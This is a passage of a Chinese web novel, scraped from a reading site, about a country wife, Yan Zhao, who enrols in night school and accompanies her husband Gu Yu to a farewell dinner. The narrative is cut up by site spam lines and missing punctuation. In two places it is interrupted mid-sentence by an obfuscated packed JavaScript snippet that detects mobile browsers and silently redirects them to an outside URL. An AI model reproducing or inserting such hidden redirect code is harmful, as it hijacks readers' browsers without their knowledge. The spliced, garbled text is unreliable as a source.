可是小吃她不会。 …… 言昭跟白玲玲道了别，提着篮子往回走。 夜色已经深了，小吃街的热闹慢慢被甩在身后，路边安静下来。 经过电影院门口的时候，她脚步忽然慢了一下。 灯牌亮着，门口还有零零散散出来的人。 她一下子想起了上次。 也是在这里，她跟顾煜一起看电影，散场的时候，外头有人卖花生、黄豆，用纸包着，一路走一路吃。 当时她还觉得挺新鲜。 花生、黄豆，不需要多复杂的手艺，成本也不高，人多的地方就能卖，电影院门口正合适。 言昭觉得自己又抓到了一条路，心口一松，脚步都不自觉轻快了几分。 她正准备转身离开，视线却忽然一滞。 电影院的门被推开，顾煜从里面走了出来。 夜色落在他身上，灯牌的光从侧后方映过来，把他整个人勾得分外清晰。 那张脸在光影里显得更冷静，也更好看，眉眼清俊，神情带着一点疏离。 他站在台阶上，抬眼的瞬间，目光正好撞上她。 那一刻，周围的人声好像被拉远了。 被言昭刻意忘记的事情，一下子全涌了上来。 他看到她的时候明显怔了一下，随即朝她走过来。 “这么晚了，”顾煜停在她面前，低声开口，“你怎么在这儿？” 言昭张了张嘴，“出来走了走。” 顾煜的目光在她脸上停了一瞬，像是在确认什么，随后又往她身后扫了一眼，眉心轻轻收紧。 一道女声突然出现。 “顾煜，你怎么走得那么快？”她的语气带着点不满，“我不是让你等等我吗？” 言昭下意识循声看过去。 那是个穿着时髦的女生，外套剪裁合身，头发烫得很精致，跟行人格格不入。 第40章 不摆摊，先上课 姑娘说完目光这才落到言昭身上上下打量了一眼 顾煜没有犹豫侧过身站得更靠近言昭一些语气干脆又清晰：“我爱人。” 那三个字落下来。 姑娘脸上的笑僵了一瞬随即有些勉强地扯了扯嘴角：“……哦原来你真的有对象。” 言昭抿了抿唇。 她的目光在那姑娘身上停了一瞬又很快移开。 这大概就是她们嘴里说的那个百货大楼的有钱小姐吧。 人确实好看皮肤白得晃眼站在那整个人都显得精致又从容连笑起来都带着一种城里姑娘特有的自信。 顾煜开口解释：“不是对象是有结婚证的爱人。” 他说这话的时候手已经伸过来扣住了言昭的手指。 言昭指尖一颤下意识抬头看他。 顾煜没有看那姑娘视线落在她脸上。 他眉头微微皱着察觉到她情绪不太对低声又补了一句：“你还没回答我怎么在这。” 言昭还在被那个姑娘盯着呢怎么可能回答他的问题。 这姑娘脸上的表情彻底僵住了。 她看了一眼两人交握的手又看了看顾煜沉默了两秒才勉强笑了笑：“原来如此是我误会了。” 语气已经没了刚才的亲近反倒多了点不自在。 顾煜点了下头顺势揽住言昭的肩膀带着她往前走。 夜风一吹他低下头整个人忽然凑近了些鼻尖几乎贴到她颈侧。 “你去吃了什么？” 他语气淡淡的却带着点不自觉的黏人意味“身上怎么全是烧烤的味？” 言昭完全没反应过来。 下一秒她猛地伸手推了他一把脸一下子红到耳根：“你……你这是干嘛！” 顾煜被她推开也不恼只是低低笑了一声没再继续凑过去手自然地牵住了她的手腕力道收紧了一点。 不远处那位百货大楼的大小姐站在原地目送着两人的背影渐渐融进夜色里。 她眉头慢慢皱了起来。 她怎么也没想到在电影院里对她冷淡到近乎敷衍、自己说十句话他才回一句的人转过身能对一个女生这么亲密。 还有顾煜低头靠近那女人时眼神里那点毫不掩饰的占有欲几乎刺得人发疼。 …… 顾煜把她带回院子进门时顺手把门带上屋里一下子安静下来。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 他像是察觉到她一路没怎么说话，把外套脱下来搭在椅背上。 “今天一个项目刚好收尾，甲方请吃饭，人挺多的。电影院是陪朋友去的，七八个人一起。 言昭原本低头换鞋，听到这话，动作微微一停。 顾煜走到桌边，从口袋里拿出一个小盒子，放在桌面上。 盒子不大，深色的，看起来就很精致。 “今天路过百货大楼，看到这个，觉得很适合你。他把盒子往她那边推了推，“戴上看看。 言昭这才抬起头。 她的视线先落在那个盒子上，又忍不住看了顾煜一眼。 他是在跟自己解释。 而且解释得很认真。 言昭伸手把盒子拿过来，指尖触到冰凉的盒面时，心跳忽然快了一拍。 她到底还是打开了。 盒子里躺着的，不是什么贵重物件。 是一条皮筋，还有一个发夹。 皮筋略微偏粗，上面织着细细的花纹，颜色柔和，还垂着两条短短的丝带，看着就很新鲜。 旁边的发夹样式很简单，颜色和皮筋一模一样，明显是一套的。 两件看起来都很洋气。 如果换成首饰、手表这类，她大概已经下意识要拒绝了。 可偏偏只是条皮筋和一个发夹，连拒绝的话都显得有点多余。 而且还是顾煜特地给自己买的。 她指尖在盒子边缘停了停，还是把那条皮筋拿了起来。 “……这个，好看。她低声说了一句。 顾煜站在一旁，看着她的动作，听见这句话眼神慢慢柔下来，“我也觉得。 言昭把皮筋绕在指尖，又看了一眼发夹，最后还是当着他的面，把皮筋随手扎在手腕上。 丝带垂下来，轻轻晃了一下。 顾煜看着她头发的皮筋，笑了一下，语气明显轻快了几分：“真好看，我就说很适合你。 言昭被他这么一说，反倒更不好意思了，低头笑了笑，指尖下意识拨了一下那两条小丝带。 屋里的气氛正好，安静又松软。 然后顾煜的指尖捏在她下巴上。 他微微用力，把她的脸抬起来，低头看着她，语气听不出情绪：“所以，今晚你去哪了？ 言昭被他看得有点心虚，还是老实解释：“洗澡的时候，遇到上次我救过的那个小姑娘，她说要报答我，就带我去小吃街买了点吃的。 顾煜指腹 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 在她皮肤上轻抚，问道：“那个男的，你也见到了？” 言昭一愣，立刻反应过来他说的是谁，没敢隐瞒：“见到了……她哥哥。我想摆摊，顺便问了他几句。” 话音刚落，下巴上的那只手力道忽然重了些。 不至于疼，可能让她清楚地感觉到他的不悦。 顾煜拇指还在她下巴处停住，指节微微收紧，目光落在她脸上，明显在重新审视她刚才说的每一个字。 屋里的空气一下子变了。 那点温柔还在，只不过还有另一种更强烈、更直接的情绪覆盖住。 言昭看得出来，他又不高兴了。 心里面叹口气。 可话说回来，她要是真的出去做生意，摆摊也好，卖东西也好，怎么可能一个男人都不接触？ 这根本不现实。 顾煜可能看出她的意思，把刚才那点情绪强行压了下去，只剩下冷静：“你最近读夜校的事情，我已经解决了。从明天开始上课，所以你现在不用这么急着摆摊。” 言昭眼睛微微睁大，这件事还以为他说说而已，没想到真要让她读书啊…… 指尖无意识地攥紧了衣角，自己真的要去读书了？ 顾煜最终还是松开了手。 他把桌上的东西收拢了一下，语气恢复了平时的平稳：“再去一趟大澡堂，你身上的味太重了。” 言昭抬眼看了他一下，没有反驳。 她心里其实还有话没说完，但这会儿也不想再顶着来，怕他又生气。 只能点了点头，被他牵着往外走。 夜里的院子安静下来，灯光昏黄。 大澡堂那边还没关，收钱的人看见言昭又来了，明显愣了一下，又瞄了眼她身边的顾煜，什么也没多问，只收了钱。 热水再一次漫上来。 这回两人都没说话，各自洗得很快，像是都有点心不在焉。 回到家时，屋里已经彻底安静了。 顾煜把床铺理好，把一杯温好的牛奶递给她。 言昭接过来，小口小口喝完，胃里暖了，紧绷了好一会的神经也慢慢松下来。 她躺到床上，眼皮几乎是立刻就沉了下去。 次日清晨，天色刚亮。 言昭醒过来的时候，第一反应不是困，而是不对劲。 全身都不舒服。 那种不适比昨天还明显，骨头像是被人拆开又重新拼过一样，又酸又沉。 她在床上躺了一会儿，眉心慢慢皱起，脑子 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 里冒出一个很不靠谱、却又挥之不去的念头—— 难道是自己葵水要来了？ 还是床太硬了？ 她盯着屋顶发了好一会儿的呆才慢吞吞地坐起身。 动作一大腰那一瞬间的酸意让她倒吸了一口气下意识扶住床沿缓了几秒才勉强站稳。 言昭低头看了看自己。 胸口那一片的痕迹淡了不少颜色浅了没昨天那么吓人。 她松了口气肩膀也跟着放松下来。 至少身上的痕迹没有很吓人了。 只不过言昭完全没意识到她看不到后面地方从肩胛到腰侧零零散散全是颜色发暗的痕迹叠在一起…… 言昭只当是前几天坐火车累狠了她慢慢挪到门口洗漱。 她刚把衣服换好门外就传来动静。 顾煜回来了。 言昭没想到他会这么早回来。 还没等她开口顾煜已经把手里的东西放下：“先早饭吃完我带你去学校。” 这句话一落言昭整个人都绷住了。 “……今天就去？”她几乎是脱口而出。 心口猛地一紧脑子里乱成一团。 她低头看了眼自己身上的衣服越看越觉得不对劲颜色不够稳重样式也不够体面哪哪都不像是去学校该穿的。 顾煜像是没看见她的慌乱把饭盒拿出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338009|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 言昭站在原地纠结了几秒 顾煜动作一顿唇角不自觉地勾了一下侧过头看她。 她抬着头眼神有点无措脸上是藏不住的紧张整个人看起来又乖又可怜。 “怎么了？”他语气放低了些。 言昭抿了抿唇像是想了好一会儿才小声说：“你真的要让我去读书吗？我要是脑子笨读不进去不就是白白浪费钱吗？” 这话说出口她自己都觉得有点没底气手指还攥着他的衣角没松开。 顾煜忽然开口：“青条若总翠黄华如散金。” 言昭立马惊讶住了她眼里全是意外。 顾煜看着她没有笑语气放得很缓：“你那时候跟我念过很多诗但你最常提的就是这两句。” “你说以前官爷们考科举最喜欢用这个做题看着简单其实最容易让人弄混。” 言昭呼吸微微一滞。 顾煜低声补了一句：“你还跟我说以后我要是读书了千万别忘了这 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 个黄花是指着油菜花。” 言昭听到这里，手指不自觉地松开了他的衣角。 那些她自己都快记不清的零碎往事，竟然被他记得这么牢。 她张了张嘴，好一会儿才找回声音：“……我那时候，随口说的。” 顾煜却看着她，语气很肯定：“可我记住了。当时你那么小，都能记住这么复杂的诗句，为什么会怀疑自己脑子笨？你在我眼里，是最聪明的那个。” 言昭唇瓣动了动。 小时候，家里确实有人喜欢给她念诗。 是谁，她已经记不清了，只记得那些声音总是在傍晚，伴着风，慢慢悠悠地落进耳朵里。 有些诗句她早就忘了，可偏偏有几句，像刻在脑子里一样，怎么都抹不掉。 也是没想到她曾经把这些话说给顾煜听过。 而且，他还记到了现在。 顾煜接着说，语气像是在说一件再平常不过的事：“而且这次读书，学校是有奖励的。成绩第一的，会给一个工作名额。在食堂洗菜，实习期一个月有十五块工资，转正有三十。” 言昭刚才还低落的情绪，听见这句话，她眼睛几乎是瞬间被点亮了，连呼吸都快了点：“真的？” 顾煜点头，很肯定：“真的。” 言昭点头说：“那我去！” 顾煜笑了一下，伸手在她脸颊上轻轻揉了一把：“那我们先吃早饭。” 言昭应了一声“嗯”，情绪明显比刚才轻快了不少。 吃完早饭，顾煜就带着她出了门。 夜校离京大很近，只隔着一条马路。 远远看过去，校门并不张扬，可很规整，门口还有军人站岗。 言昭第一眼就紧张起来。 她下意识放慢脚步，肩背都绷紧了，目光也不太敢乱看。 只是言昭对这阵仗也没多想，因为京大那边同样有人站岗。 她默默往顾煜身边靠了靠，几乎是贴着他走。 顾煜察觉到她的动作，步子放慢了些，没说什么，只是自然地挡在她外侧。 言昭低着头，手指攥着衣角，心跳得有点快。 没想到自己还能读书…… 顾煜带着她进了办公楼，走廊里很安静，脚步声都显得清晰。 推开办公室的门时，里面已经有人了。 一位看起来很亲和的女人站起身来，目光先落在顾煜身上，又很自然地转向言昭，笑容温和：“顾煜同志，这就是你的爱人？” 言昭下意识站直了些，“你好，我叫言昭。” 这是路上顾煜叮嘱她记得打招呼。 这边顾煜点了点头：“是的，劳烦你了。” 那女人连连摆手，笑得更和气了：“不麻烦不麻烦，本来就是安排好的事情。” 她走近两步，仔细看了言昭一眼，眼神里没有审视，更多是打量和善意：“言昭同志，你别紧张，来这儿读书的，什么年纪、什么情况的都有。” 言昭原本绷着的背，慢慢松了一点，还是点头应了一声：“好的。” 女人笑着应了一声，又转头对顾煜说：“手续我已经让人准备好了，你一会儿要是忙，可以先去忙，这边我先带你爱人熟悉一下学校。” 顾煜看了言昭一眼。 她站在那儿，明显还是紧张的，手指攥得很紧。 顾煜伸手过去牵了一下，然后松开。 他这才点头：“那就麻烦你了。” 第41章 顾煜带言昭出去见人了 顾煜离开后言昭一直绷着的那根弦才稍微松了松。 紧张还在只是换了一种形式。 她担心的不是自己行不行而是怕顾煜会不会对她期望太高。 那位姓徐的老师显然察觉到了她的不安说话的语气一直很温和。 “言昭同志我先给你把信息登记一下。” 登记完徐老师就带着她往外走一边走一边介绍：“这里是夜校要求没那么严不像京大那样。家里要是有事可以请假。” 她说到这儿语气微微一转带着点笑意：“当然了刚入学最好别老请假不然考试成绩不好可别怪老师没提醒你。” 言昭很配合地笑了笑点头：“徐老师我记住了。” 徐老师继续往前走：“我们这边学生什么年纪的都有有比你大不少的也有跟你差不多大的不用紧张。” 两人把学校转了一圈。 教室不算新但干净整齐一排排桌子摆得很规矩。 再往里走就是食堂。 言昭的目光在食堂那边停了一下。 她犹豫了一瞬还是没忍住小声问：“徐老师是不是……考第一名就能在食堂有工作？” 徐老师意味不明笑了一下说道：“是有这么个安排不过也不是白给的要看表现。” 言昭听到这话眼睛明显亮了一下。 徐老师带着她转了一圈最后把人领回了办公室。 桌上已经摆好了书。 不多七八本的样子可每一本都厚实得很摞在一起分量一点也不轻。 徐老师一边把书递给她一边笑着说：“这些就是你这阶段要用的先慢慢学上课有什么听不懂的可以先记下来回头来问我。” 言昭接过来低头看了一眼心里悄悄吸了口气乖巧答应：“好。” 徐老师见她抱得有点吃力立刻道：“正好我也没事我帮你送一起送回去吧。” 这话一出言昭连忙摇头：“不用不用 可这位徐老师显然是个热心肠已经弯腰把剩下的几本抱了起来语气爽快：“别客气正好让我知道一下你的地址以后有什么事情我好去找你。” 言昭不知道读书为什么还需要老师上门只是现在再拒绝反而显得不合适只好同意。 她也抱紧了怀里的书跟着往外走。 一路上她心里都有点过意不去。 老师走 听说看这本书的人都是很幸运的，分享后你的运气会更棒 在旁边还在跟她说夜校的课程安排说得细致又耐心完全没有半点不耐烦。 言昭是真的有点受宠若惊。 她没想到京市的老师脾气会这么好。 以前在队里扫盲老师手里是拿着棒棍的谁走神、谁记不住后面就挨揍。 哪有像徐老师这样说话温声细语还帮着学生抱书送回家的。 等两人一前一后把书抱回家里言昭赶紧把书放下连声道谢。 徐老师摆了摆手笑得很随和：“我家离这儿不远以后多走动走动。” 言昭心里一暖下意识就想去给老师泡杯茶。 可她刚转身徐老师已经往门口走了还不忘回头叮嘱一句：“下午五点半记得来学校上课别迟到。” 话音落下人已经出了门。 门一关上屋里一下子安静下来。 言昭站在原地愣了几秒才慢慢回过神看着桌上那一摞书心里又紧张又新鲜。 没一会儿院子里传来脚步声。 王婶子探头进来一脸好奇：“小昭这是咋回事？刚才那是谁啊？” 言昭如实说了：“顾煜给我弄了个夜校让我去读书。” 王婶子一听立刻点头语气里全是认同：“这事儿好！你男人文化水平那么高你是得跟上组织可不能拖后腿。而且你这男人对你是真好还带着你一起上进呢。” 没一会儿言昭要去夜校读书的事就在整个院子里传开了。 先是隔壁几户探头探脑地过来问接着筒子楼楼上的也下来了说是刚才瞧见有位老师抱着书进了她家。 读夜校本身不算什么稀罕事。 这片院子里多少人都读过夜校、扫过盲。 而且因为距离不少学校挨着近这里大部分都是知识分子。 可稀罕的是老师亲自把书送到家里来。 这事意味就不一样了。 言昭对王婶子传出去感到无奈。 可要说怪吧她又怪不起来。 王婶子是真的觉得这是好事是替她撑脸面。 这筒子楼里住的大多是有文化的老师、技术员、厂里家属居多。 言昭乡下媳妇的身份 现在不一样了。 人家男人不但文化高还正经把自家媳妇送去读夜校。 不是敷衍不是做样子是老师都上门的那种。 你的朋友正在书荒，快去帮帮他吧 院子里的人看她的眼神明显变了。 …… 中午的时候顾煜回来了。 一进门目光就落在桌上那一摞新书上。 他没有多问一句也没评价只是把外套放下说道：“下午有个饭局你跟我一起去吧。” 言昭脑子还没转过来下意识就想开口找理由。 还没等她想好顾煜已经接着道：“不可以不去现在换个衣服我们出门。” 然后言昭那些刚冒出来的借口直接被这句话堵了回去。 她张了张嘴最终只“哦”了一声。 顾煜像是看出她的犹豫又补了一句语气里明显多了点不耐烦：“你要是不出现他们就总觉得我没结婚。隔三岔五就给我塞些乱七八糟的事情出来烦得很。” 言昭听到这话。 原来这顿饭不只是吃饭。 也是在替他挡事。 她低头看了看自己身上的衣服心里那点紧张又慢慢浮上来可还是点头应下：“……那我去换。” 言昭没有再穿裙子。 最近天气冷下来了不适合穿裙子了。 她从柜子里挑了套看起来比较正式的衣服颜色稳重样式也干净利落穿在身上整个人都显得精神了不少。 头发扎起来的时候她下意识拿出了顾煜送的那条皮筋又把同色的发夹别在一侧。 镜子里的那一瞬间她自己都愣了一下。 好看。 不是刻意打扮的那种而是收拾得体、干干净净让人一眼看过去就觉得舒服。 她觉得自己有些自恋脸颊跟着微微发热有点不好意思地移开视线又忍不住看回来。 接着就低头看着自己这双手。 这双手早就不像以前那样。 以前在乡下 可现在因为一直涂润手霜皮肤柔和了不少连指节都不再发白起皮。 这些变化都是顾煜造成的。 言昭从屋里走出来的时候顾煜听见动静抬起头。 目光落在她身上的那一瞬间他明显顿了一下。 不是刻意的打量而是一种近乎本能的停滞。 她今天收拾得很好看衣服合身衬得轮廓柔和脸颊带着一点自然的娇艳发丝利落地束起可压不住那份明晃晃的明艳感。 整个人站在那里安静中带着软糯。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 顾煜的视线在她身上停留了片刻心口忽然像被什么不轻不重地按了一下闷着还在隐隐发热。 因为她就这样站在这里从头到脚都带着他的痕迹。 这种认知让他胸腔微微收紧。 不是失控而是一种压在心底的、阴暗又隐秘的满足感。 看着她被自己一点点纳进生活里被时间和日常慢慢包裹沾染上属于他的印记。 顾煜的喉结轻轻滚动了一下垂在身侧的手指下意识收紧又很快松开神色重新归于平静。 他没说话只是走近一步伸手落在她脸颊上指腹温热。 再轻轻一抬把她的脸抬起来。 言昭整个人都僵住了。 她第一反应是往旁边看了一眼生怕被人看见手指都下意识收紧了。 顾煜没有亲下来。 他只是微微俯身靠近她的耳边声音压得很低：“今天的你真好看。” 话说完他便松开了手像是什么都没发生过一样退开半步。 言昭站在原地心跳乱的一批。 她抬手摸了摸刚才被他碰过的地方脸颊不受控制地 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如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 度几乎是瞬间冷了下去。 那点变化很细，被压得极深。 他脸上反而露出一个温和到近乎礼貌的笑容，语气没有半点玩笑的意思：“我为什么要在这种事上开玩笑？我爱人还需要我给你证明？” 这话一落，包厢里的气氛明显顿了一下。 熟一点的人已经察觉出不对劲了。 陈离原本还靠在椅背上看热闹，一看到顾煜这个笑，后背的汗都快冒出来了，立马接话打断：“哎哎哎，行了行了，别乱说话。” 他笑着看向言昭，语气一下子热络起来：“嫂子终于肯露面了，我们可都等挺久的。” 旁边的小陈也反应极快，跟着点头附和：“就是就是，顾哥藏得太严实了。” 有人顺着台阶下，气氛这才慢慢缓回来。 言昭原本是有点尴尬的。 那女生话里的意思，她怎么可能听不懂。 只是她心里也忍不住冷笑了一下—— 原来城里的姑娘，也能把这种话说得这么理直气壮。 要是在乡下，当着人面惦记别人家的男人，早就被唾沫星子淹死了，哪还轮得到这样试探。 这一刻，她反倒更明白了。 顾煜为什么一定要带她来。 太受欢迎，遇到这种人是挺烦人的。 这次言昭没有躲，也没有装没听见，而是端起面前的杯子，站起身来，脸上带着很淡、却很得体的笑意。 “我丈夫平时忙，很多地方也麻烦各位照顾了。”她的声音不高，但清清楚楚，“真的非常感谢大家。” 她这句话一落，包厢里的人也都很给面子，纷纷站起身来。 有人笑着说：“嫂子客气了，那我们一起敬一杯。” 杯子刚举起来，顾煜已经下意识伸手，想把她那杯酒接过去帮她喝。 言昭手腕一抬，避开了他的手。 她抬头，杯沿贴到唇边，仰头一口就喝了下去。 动作干脆利落，没有一点犹豫。 酒液下喉，她只是轻轻呼出一口气，脸色没变，眼神也稳得很。 顾煜对她这个举动，眉梢微微动了动。 包厢里也安静了一瞬。 “哎哟——” 有人先反应过来，忍不住笑出声：“嫂子这是能喝啊？” “这一下可比顾哥还痛快。” “真没看出来。” 言昭把空杯放下，笑了笑没说话。 也是这点酒对她来说，真的不算什么。 她最喜欢的，是自己酿的米酒。 乡下冬天冷，活又重，家家户户都会留几坛。 她喝过的米酒，入口甜，后劲足，度数比眼前这杯高多了。 有时候一碗下去，喉咙是热的，人清醒得很，该干的活一点不耽误。 第42章 言昭的狗粮 言昭这一圈下来，在场的人心里多少都有了数。 原先那些若有若无的打量，慢慢都收了回去。 以前大家私底下确实听过风声，说顾煜这个对象，是封建包办的婚姻。 可偏偏一直没见过人，越是这样，越让人心里不甘，总觉得八成是个借口，或者干脆就是假的。 可现在人就坐在这儿。 而且言昭举止得体，说话有分寸，能接话，也不抢话。 穿着打扮干净利落，看不出半点土气，甚至比不少城里姑娘还要好看。 有人心里那点不甘，到这会儿也只能咽回去。 顾煜坐在一旁，神情始终淡淡的。 他偶尔侧头看她一眼，目光停留的时间很短，却还是被旁人捕捉到了。 那不是公事场合里惯有的冷静，也不是敷衍应付的客气。 而是一种极少外露的温柔。 像水色漫开，安静而不张扬，眼底的情绪轻轻荡着，带着一点潋滟的光，收敛了所有锋芒，只余下柔软与纵容。 在座的人心里都微微一震。 认识顾煜这么多年，谁见过他用这种眼神看人？ 而这边言昭两杯下肚，脸颊连一点红都没起。 她还是那副微微含笑的模样，眼神清亮，放下杯子的时候手都没抖一下。 这时顾煜侧过身，低头凑到她耳边，声音压得很低，带着一点几不可察的笑意：“没想到昭昭酒量这么好。 温热的气息贴着耳廓落下来。 下一瞬，言昭脸颊才慢慢泛起一层薄红，跟刚才喝酒完全无关。 她偏了偏头，小声解释：“以前在乡下，天冷的时候，喜欢喝点米酒。 顾煜听见这句话，目光在她侧脸停了一瞬，眸色暗了暗，又很快移开。 只是那只放在桌下的手，不动声色地往她那边靠了靠。 很快就有人把话题往正事上引。 有人起身，端着杯子把顾煜叫到一旁，声音压得很低，两人靠着窗边说了几句，神情都不算轻松。 包厢里重新热闹起来，也有人顺势把注意力放到言昭身上。 “嫂子跟顾哥一个地方的人吗？ 问得都算客气，没有越界。 言昭一一应着，当然也没暴露家里情况。 她慢慢知道，这一桌人，都是顾煜这段时间一起共事的伙伴。 而这一顿饭，并不是普通的聚餐。 是散伙饭。 有人调走， 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 有人另有安排，还有人要离开现在这个项目，各奔前程。 难怪气氛里总有点说不清的复杂。 酒越喝越慢，话越来越多。 有人提起从前熬夜赶项目，有人提起差点砸锅的那次事故，语气里带着唏嘘，也带着不舍。 言昭听着，没有插话，只在适当的时候陪着笑一下。 话题不知怎么就拐了弯。 “嫂子，你跟顾哥有孩子了吗？” 这话一出，包厢里安静了一瞬，随即就有人笑着接话。 “对啊，你们俩都长得这么好看，孩子肯定漂亮。” “再说顾哥这脑子，孩子智商肯定也高得很。” 语气里全是打趣。 言昭嘴角轻轻一抽。 她是真的没想到，不管在乡下，还是在京市，不管是婶子大娘，还是穿着体面的城里人，催生这件事居然这么统一。 而言昭看的出来，这女生是故意问的。 她语气放得很轻，神色有点不好意思解释：“现在城里人不是都结婚结得晚嘛，我跟顾煜结婚算早的，还年轻。而且现在要是有孩子，外头肯定有人说，是有了孩子才过日子的。” 还没等那女生反应过来，言昭又慢慢抬眼，看了顾煜一眼，语气带了点小小的抱怨，却偏偏听着亲昵得不行：“而且他现在有点粘人，有孩子的话，我怕顾不上他。” 空气直接凝固了一瞬。 那女生脸上的笑僵了。 是真的僵。 一口狗粮塞得结结实实，连反驳的缝都没留。 旁边有人“咳”了一声，强忍着笑意低头喝酒。 也有人没忍住，直接笑出了声。 这不是没苦硬吃吗？ 言昭微微歪了下头，像是在认真求证：“难道城里人不是这样的吗？” 有人立刻点头，笑着接话：“是，是这样。” “现在都讲究晚婚晚育，事业稳定了再说孩子。” 这话一落，气氛彻底反转。 谁不知道这是想给人家难堪呢。 有孩子—— 就是用孩子绑住顾煜。 没孩子—— 就是生不出来。 这两头的坑，全被人家轻飘飘的一句打破。 那女生脸色彻底挂不住了，勉强扯了下嘴角，低头不再说话。 顾煜坐在一旁，始终没插手。 可他眉眼间那点松散的情绪，明显比刚进包厢时要多得多。 这顿 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 饭也算是让正式认识了言昭。 她不是传闻里那个被随口带过的“乡下媳妇”。 更重要的是—— 顾煜对她的态度根本不需要多解释。 那种明晃晃的偏护旁人看一眼就明白。 这不是凑合。 更不是被迫。 是喜欢得要命。 有些人心里原本还存着点不甘。 想着没见到人总还有一线可能。 现在这点念头算是彻底断干净了。 不只是因为言昭站在这里。 更因为顾煜那种态度连一点空子都没留。 再聪明的人也知道该收手了。 况且—— 关于顾煜的去向大家多少都听到过风声。 项目结束只是一个阶段。 不是终点。 他这样的人不可能长期留在原地。 眼界、能力、背景全都不在一个层级上。 早晚是要往更高的地方走的。 今天这顿饭也像是把某个阶段画上了句号。 等到饭局结束后两人一前一后走出酒店。 冷风迎面吹来带着点凉意言昭这才真正放松下来肩背不再绷着。 顾煜走在她身侧语气像是在说一件再寻常不过的事：“今天带你来本来证明我是有爱人的。” 他说完 这话说得轻贴得也极近。 言昭抿了抿唇没有接话。 他都已经当着那么多人的面被他一句一句介绍成“爱人”自己要是再开口说是姐姐那才是真的没事找事。 顾煜没再继续这个话题只是伸手替她挡了一下风带着她往前走。 …… 回去后言昭到底还是没放弃酱。 她给李婶子提了三小桶过去说清楚两桶拿去卖剩下一桶送给李家的。 这一次李婶子没再推辞只叹了口气把桶接过去。 “成不成另说”李婶子说“我给你看着卖。” 言昭心里松了一口气。 哪怕卖得慢她也想试一试。 傍晚天色暗下来言昭正准备去夜校。 她原以为自己一个人过去就行结果门还没关上顾煜就回来了。 他手里多了个斜挎包。 看起来很新。 你的朋友正在书荒，快去帮帮他吧 他把包放在桌上拉开拉链里面整整齐齐地塞着东西—— 笔盒、墨水、铅笔、橡皮。 一沓全新的本子还有几本厚厚的草稿本。 言昭看着桌上那一堆东西 这么多全是新的肯定花了不少钱。 她脑子里不受控制地冒出一个念头—— 要是学不进去怎么办？ 顾煜故作没察觉她的迟疑。 他在桌边坐下把那些书一本一本摊开顺手拿起笔低头在扉页上写上的她的名字。 一本接一本没有停顿。 写完后他挑了两本书合上塞进斜挎包里又把笔盒、草稿本一起放好拉上拉链。 整个过程从容得很。 “走吧。” 他说这句话的时候已经把包背到了自己肩上。 没有递给她。 言昭下意识张了张嘴可什么都没说出来。 她喉咙轻轻动了动最后只点了下头。 两人一起出门。 斜挎包在他身侧轻轻晃着分量不轻被他背得理所当然。 言昭原以为他是直接送她去学校。 结果出了院子路线一拐她才发现方向不对。 “不是去夜校吗？” 她下意识问了一句。 顾煜脚步没停只淡淡应了声：“先吃饭。” 言昭今天在家里已经随便应付过了这也是这段时间顾煜一直很忙她都以为他今晚未必能回来。 结果人被带进一家店热气扑面而来。 烤鸭的香味几乎是瞬间钻进鼻子里。 言昭站在原地有点没反应过来。 “……吃这个？” 她是真的惊讶了。 顾煜看到她的反应他拉开椅子坐下语气很平常：“不吃饱读书耗脑子容易饿。” 他抬眼看她一眼慢悠悠补了一句：“到时候精神不集中第一名没了你那个洗菜的工作也就没了。” 这话说得一本正经。 偏偏又带着点不太明显的坏心眼。 言昭听出来了。 她抿了下唇忍不住笑了一下：“你这是吓我呢？” 顾煜也勾了下唇角没否认。 “我是在提醒你。” 现在两人的相处状态已经比以前要好很多。 这也是建立在顾煜对她不动手不动脚的时候。 此时烤鸭端上来 听说看这本书的人都是很幸运的，分享后你的运气会更棒 油光发亮，香气实在太犯规。 言昭原本没觉得饿，这会儿胃口一下子被勾了出来。 顾煜已经把那一片烤鸭包好了。 饼皮薄薄的，里面卷着鸭肉、葱丝和酱料，被他修长的手指捏着，递到她面前。 “张嘴。” 言昭眼睛微微睁大了一点，下意识伸手想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338011|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过来：“我自己——” 话还没说完，顾煜歪了下脑袋。 那张本就俊美的脸上浮着一点淡淡的笑意，不明显，却偏偏让人移不开眼。 “张嘴。” 他又重复了一遍。 声音低低的，像是贴着她耳边说的。 言昭呼吸一滞。 她飞快地扫了一眼四周。 包厢里热热闹闹的，大家都在吃饭聊天，夹菜、碰杯，没人注意他们这点小动作。 可越是这样，她越觉得不自在。 她瞪了他一眼，压低声音：“你干嘛呀……” 这人是真的一点都不避讳。 在外面也这样。 要是在乡下，这种举动早就被人嚼舌根嚼烂了，说什么的都有。 顾煜像是完全没把她的眼神当警告。 他手还稳稳地举着，耐心得过分，眉眼松散，像是在等她自己妥协。 “凉了不好吃。” 他说得理直气壮。 言昭被他磨得没脾气。 她抿了下唇，还是微微张开了嘴。 那一瞬间，她自己都觉得脸颊在发热。 